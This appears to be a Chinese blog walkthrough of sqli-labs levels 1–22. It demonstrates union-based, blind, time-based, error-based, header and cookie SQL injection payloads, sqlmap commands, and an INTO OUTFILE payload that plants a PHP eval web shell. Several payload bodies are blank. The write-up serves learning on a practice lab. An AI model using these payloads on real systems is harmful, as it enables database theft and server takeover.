sqli靶场(1~22关)
又是疯狂打靶场的一天,这个sqli靶场真的好多关,我之前试过打过几关,没有坚持,但万事开头难,总归是慢慢打完了。
前言
第一部分就是union联合注入和盲注。
我这里用的sqli靶场是https://github.com/Audi-1/sqli-labs.git sqli-labs
把第一部分打完,你真的就成功一大半了~
union操作符:
UNION操作符用于合并两个或多个SELECT语句的结果集。请注意,UNION内部的SELECT语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条SELECT语句中的列的顺序必须相同
注释:默认地,UNION操作符选取不同的值。如果允许重复的值,请使用UNION ALL
Limit:
Limit是指限定查询的条数。有三种方式:
1 | 方式一:limit 参数1 |
参数1可从1开始,往后递增,表示要查询几条数据。
例如,limit 1 表示限定查询一条语句。
1 | 方式二:limit 参数1,参数2 |
参数1从0开始,表示从第几行(按照索引0作第一行)开始查询,参数2表示要查询的条数。合在一起的意思就是,从参数1开始,查询参数2条语句。
例如,limit 0,1 表示查询第一条语句,和limit 1等意。
1 | 方式三:limit 参数1 offset 参数2 |
参数1表示限定要查询几条,参数2表示从第几行(按照索引为0作第一行)开始查询。
例如:limit 1 offset 0 表示查询第一条参数。
union联合注入(Less-1~Less-4 GET)
Get注入
Get方式不能使用#,抓包会发现#会消失不见,可用%23代替。也可以用–+。
Less-1
输入单引号,出现报错。输入两个单引号不报错。
1 | 错误信息:''1'' LIMIT 0,1' |
说明:’1’’
则在源码中可能为 id=’$id’
可以成功注入的有:
1 | id=1'or 1=1 --+ |
此时构造的sql语句就为:
1 | select......id='1' or 1=1 --+' LIMIT 0,1 |
(1)用order by判断有几个字段
order by就是如果到n出错,则字段数为n-1。
当构造?id=1’ order by 4–+时会报错,则说明字段数为3。

(2)判断回显点
构造?id=1’ union select 1,2,3–+
当id的数据在数据库中不存在时,此时我们可以id=-1,两个sql语句进行联合操作时,当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来。
此处前台页面返回了我们构造的union的数据。可以看到回显点是2和3。

(3)因此,我们可以在2,3回显的位置构造sql查询语句查询我们想要的东西
1.1获取数据库
①获取单个数据库名
1 | payload: |
得到数据库名为security

②获得所有数据库名
1 | payload: |
可获取所有的数据库:

1.2获取表格
①得到单个表格
1 | payload: |
得到表为emails:

②得到所有表格
1 | payload: |
可得到所有的表:

1.3获取字段名
①获得单个字段名
1 | payload: |
得到字段名user_id:

②获得所有字段名
1 | payload: |
可查到所有字段名:

1.4获取表格里面的内容
①获得单个用户名和密码
1 | payload: |
可以得到用户名为Angelina,密码为:I-kill-you

②获得所有的用户名和密码
1 | payload: |
可得到所有的用户名和密码。

Less-2
输入1’
1 | 错误信息:'' LIMIT 0,1' |
说明:’
则在源码中可能为 id=$id
可以成功注入的有:
1 | id=1 or 1=1 |
此时构造的sql语句就为:
1 | select......id=1 or 1=1 LIMIT 0,1 |
其余的payload与less-1中一样,只需要将less-1的’去掉即可。
Less-3
输入1’
1 | 错误信息:''1'') LIMIT 0,1' |
说明:’1’’)
则在源码中可能为 id=(‘$id’)
可以成功注入的有:
1 | id=1') or ('1'='1 |
此时构造的sql语句就为:
1 | select......id=('1') or ('1'='1') LIMIT 0,1 |
其余的payload与less-1中一样,只需要将less-1中的’更换为’)
Less-4
输入1”
1 | 错误信息:'"1"") LIMIT 0,1' |
说明:”1””)
则在源码中可能为 (“$id”)
可以成功的注入有:
1 | id=1" or "1"="1 |
此时构造的sql语句就为:
1 | select......id=("1" or "1"=”1") LIMIT 0,1 |
其余的payload与less-1中一样,只需要将less-1中的’更换为”)
盲注(Less-5~Less-10 GET)
盲注有三种,分别是:
(1)boolean布尔型盲注
(2)报错注入
(3)时间注入(延时注入,基于时间的sql盲注)
Less-5 基于布尔型的盲注
输入单引号判断之后,构造id=1’ or ‘1’=’1
发现页面只会显示对与错的信息,不会显示数据库的信息,此关可以采用盲注。
(1)可以使用延时注入:
1 | payload: |
发现网络延时五秒响应,可以用延时注入:

(2)可以使用报错注入:
输入单引号,发现出现报错信息,因此可以使用报错注入。
①得到库
1 | 可以使用这个payload:id=1' and info()--+ |
会报错显示当前库不存在这个函数,所以数据库名可以看到为security:

当然也可以直接构造payload:
1 | id=1' and (updatexml(1,concat(0x7e,(select database()),0x7e),1))--+ |
同样得到数据库名为security:

②获取用户名
1 | payload: |
得到数据库用户名为root@localhost:

(3)下面采用的是基于布尔型的盲注:
5.1获取敏感信息
1 | 构造payload: |
将’a’可替换成其他字母,进行判断,如果正确会显示下图:

不正确则会显示下图:

根据对与错来判断输入字符的正确性。
这里我采用抓包然后进行爆破,可得到数据库名为:security(写成大写也可以)

5.2获取表名
1 | payload: |
这里同样利用burp抓包,然后对标红的两个变量进行爆破,可得到表名为emails

并且将limit 0,1改成如limit 1,1可获取其他数据库,分别为referers,uagents,users
5.3获取字段名
1 | payload: |
同样用burp抓包,得到字段名为user_id:

将limit 0,1改成其他行,可获得其他列名为username,password,等等。
5.4获取表里面的内容
1 | payload: |
用burp抓包,得到用户名和密码为:dumb:dumb

Less-6
本关也为盲注。 通过输入单引号不报错,输入双引号报错,可推断源码中参数可能为 “$id”
所以本关的解法跟Less-5一样,只需将第五关的单引号改成双引号即可。
Less-7文件导入注入
本关是利用文件导入的方式进行注入。
构造payload:
1 | id=1')) union select 1,2,3 into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.txt"--+ |
虽然显示报错信息,但在路径下已经生成了1.txt

可以直接将一句话木马导入进去
构造payload:
1 | id=1')) union select 1,2,'<?php eval($_POST["cmd"]);?> ' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.php"--+ |
然后可以利用工具连接。
Less-8
通过测试,id=1’ or 1=1–+是显示正确的。这关跟第五关一样,可以使用基于布尔型的盲注,以及延时注入。但是不能使用报错注入。
因为在源码中将将 mysql 报错的语句进行了注释。

其余的payload跟第五关的一样啦。
Less-9 基于时间的sql盲注(采用sqlmap)
本关可采用时间延迟的注入。
(1)方法一:
测试:id=1’ and sleep(5)–+
查看网络状态,的确存在延时。
①获得数据库名
1 | payload: |
查看网络是否延时五秒,是则说明字符正确,不是则说明错误。
将标红的1依次替换,可得到数据库名为security。

②获得表名
1 | payload: |
查看响应,依次类推,得到表名为emails,referers,uagents,users
(2)方法二:
我们这里采用sqlmap来检测时间注入
9.1判断注入
1 | payload: |
sqlmap检测到为时间注入:

9.2获取敏感信息
1 | payload: |
(–current-user为获取用户,–current-db为获取数据库名, –batch表示使用自动模式,默认为y)
获得当前数据库用户名为root@localhost,数据库名为:security

9.3获取表
1 | payload: |
(-D 指定数据库 –tables 获取表)
得到表名为emails,referers,uagents,users:

9.4获取字段
1 | payload: |
(–columns获取字段)
得到字段名为id,username,password:

9.5查询账号和密码
1 | payload: |
(–dump是导出数据,-C是指定查询的字段)
得到账户密码为:

Less-10
本关跟第九关一样,只需将第九关的单引号换成双引号即可。
union联合注入(Less-11~Less-12 POST)
post注入
不能使用–+注释符,因为抓包发现加号被编码成%2B了。
可以用#,减减空格(空格被编码成了+)
Less-11
在username的输入框输入:1’
出现如下报错信息:
1 | ''1'' and password='' LIMIT 0,1' |
说明:’1’’
在源码中可能为 username=’$uname’
在Less-11的index.php中:
1 | @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; |
测试:1’ or 1=1#
可以登录成功:

11.1获取用户名
①payload:
在username的输入框输入:
1 | 1' union select 1,user()# |
得到当前数据库用户名为root@localhost:

或者:
②payload:
在username的输入框输入:
1 | 1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))# |
11.2获取数据库名
payload:
在username的输入框输入:
1 | 1' union select 1,database()# |
得到数据库名为security:

Less-12
通过测试,输入1”可以看到报错信息。
1 | '"1"") and password=("") LIMIT 0,1' at line 1 |
说明:在源代码中可能为username=(“$uname”)的形式。
使用payload:
1 | 1") or 1=1# |
可以看到页面返回正确的信息。
其他的payload就跟十一关差不多,只需要将十一关的’改为”)即可。
盲注(Less-13~Less-17 POST)
Less-13 基于布尔型的盲注
输入1’,出现如下错误信息提示:
1 | ''1'') and password=('') LIMIT 0,1' at line 1 |
说明:在源代码中可能为username=(‘$uname’)的形式。
1 | 使用payload:1') or 1=1# |
页面出现成功提示,但是不像第十一关和第十二关那样出现用户的账号和密码。
(1)可以采用基于布尔型的盲注
猜测当前数据库用户名:
1 | payload: |
用burp抓包,对标红的两个变量进行测试,爆破出当前用户名为root@localhost:

跟第五关的基于布尔型的盲注差不多。就不重复写了。
(2)可以采用报错注入
①获取数据库名:
1 | payload:1') or info()# |
显示出了数据库名:

②获取当前数据库用户名:
1 | payload: |
得到用户名:

Less-14
输入1”,出现如下错误信息提示:
1 | '"1"" and password="" LIMIT 0,1' at line 1 |
说明:在源代码中可能为username=”$uname”的形式。
1 | 使用payload:1" or 1=1# |
页面出现成功提示,但也不显示用户名和密码信息,跟第十三关一样,
(1)采用基于布尔型的盲注。
只需将第十三关的payload的’)改成”即可。
(2)采用报错注入。
也只需将第十三关的payload的’)改成”即可。
Less-15
使用1’ or 1=1#能显示登录成功的信息
说明在源码中可能为username=’$uname’的形式
本关不会显示报错信息,采用基于布尔型的盲注或者延时注入。
(1)基于布尔型的盲注
①猜测当前数据库用户名:
1 | payload: |
将r替换成其他的字母,成功时显示成功页面,否则是登录失败界面
或者用like匹配:
1 | 1' or user() like 'r%'# |
②猜测数据库名
1 | payload: |
将s替换成其他的字母,成功时显示成功页面,否则是登录失败界面
或者用like匹配:
1 | 1' or database() like 's%'# |
(2)延时注入
①猜测当前数据库用户名:
1 | payload: |
如果字符正确,则延时五秒返回,否则返回登录失败的界面。
②猜测数据库名
1 | payload: |
如果字符正确,则延时五秒返回,否则返回登录失败的界面。
Less-16
通过猜测,使用1”) or 1=1#能显示登录成功的信息。
说明在源码中可能为username=(“$uname”)的形式。
本关不会显示报错信息,采用基于布尔型的盲注或者延时注入。
本关的payload跟第十五关的一样,只需要将第十五关的’换成”)即可。
Less-17
本关是一个修改密码的过程。在尝试的过程中,要输入一个正确的账号,如admin,然后在重置密码框测试。
密码框输入’时,出现如下的报错信息:
1 | 'admin'' at line 1 |
说明在源码中可能为’$uname’的形式。
使用报错注入:
①猜测当前数据库用户名
1 | payload: |

②猜测数据库名
1 | 1' and extractvalue(1,concat(0x7e,(select database()),0x7e))# |

HTTP头部插入(Less-18~Less22)
Less-18 基于错误的用户代理,头部POST注入
当输入正确的账号和密码时,比如账号dumb,密码dumb,可以看到出现如下信息:

可以抓包修改User-Agent的内容试试:
将User-Agent里面的内容随便填写,可以看到显示出了我们输入的内容:

此时可以在User-Agent中构造注入语句。
利用报错注入:
①获得数据库用户名
1 | payload: |

②获得数据库名
1 | payload: |

Less-19 基于头部的Referer POST报错注入
当输入正确的账号和密码时,比如账号dumb,密码dumb,可以看到出现如下信息:

这题的思路跟第十八关差不多,只是将User-Agent换成Referer。
用burp抓包,修改一下Referer的内容看看:

的确显示为被修改的内容了,然后在Referer中构造注入语句。
①获得数据库用户名
1 | payload: |

②获得数据库名
1 | payload: |

Less-20 基于错误的cookie头部POST注入
当输入正确的账号和密码时,比如账号dumb,密码dumb,可以看到出现如下信息:

可以考虑在cookie中添加注入语句。
Burp抓包:
因为是cookie,之前没有登录过,所以没有值,我们将请求发送给自己,然后可以获得cookie值:

点击两次发送,能获得cookie值,然后发送到重发器,再从里面添加注入语句。
①获得数据库用户名
1 | payload: |

②获得数据库名
1 | payload: |

Less-21 基于错误的复杂的字符型Cookie注入
当输入正确的账号和密码时,比如账号dumb,密码dumb,可以看到出现如下信息:

跟第二十关差不多,只是将账号用base64加密了。并且只是对uname是进行了(‘uname’)的处理。
①获得数据库用户名
1 | payload: |

②获得数据库名
1 | payload: |

Less-22 基于错误的双引号字符型Cookie注入
当输入正确的账号和密码时,比如账号dumb,密码dumb,可以看到出现如下信息:

跟第二十关差不多,将账号用base64加密了,并且是对uname是进行了”uname”的处理。
①获得数据库用户名
1 | payload: |

②获得数据库名
1 | payload: |
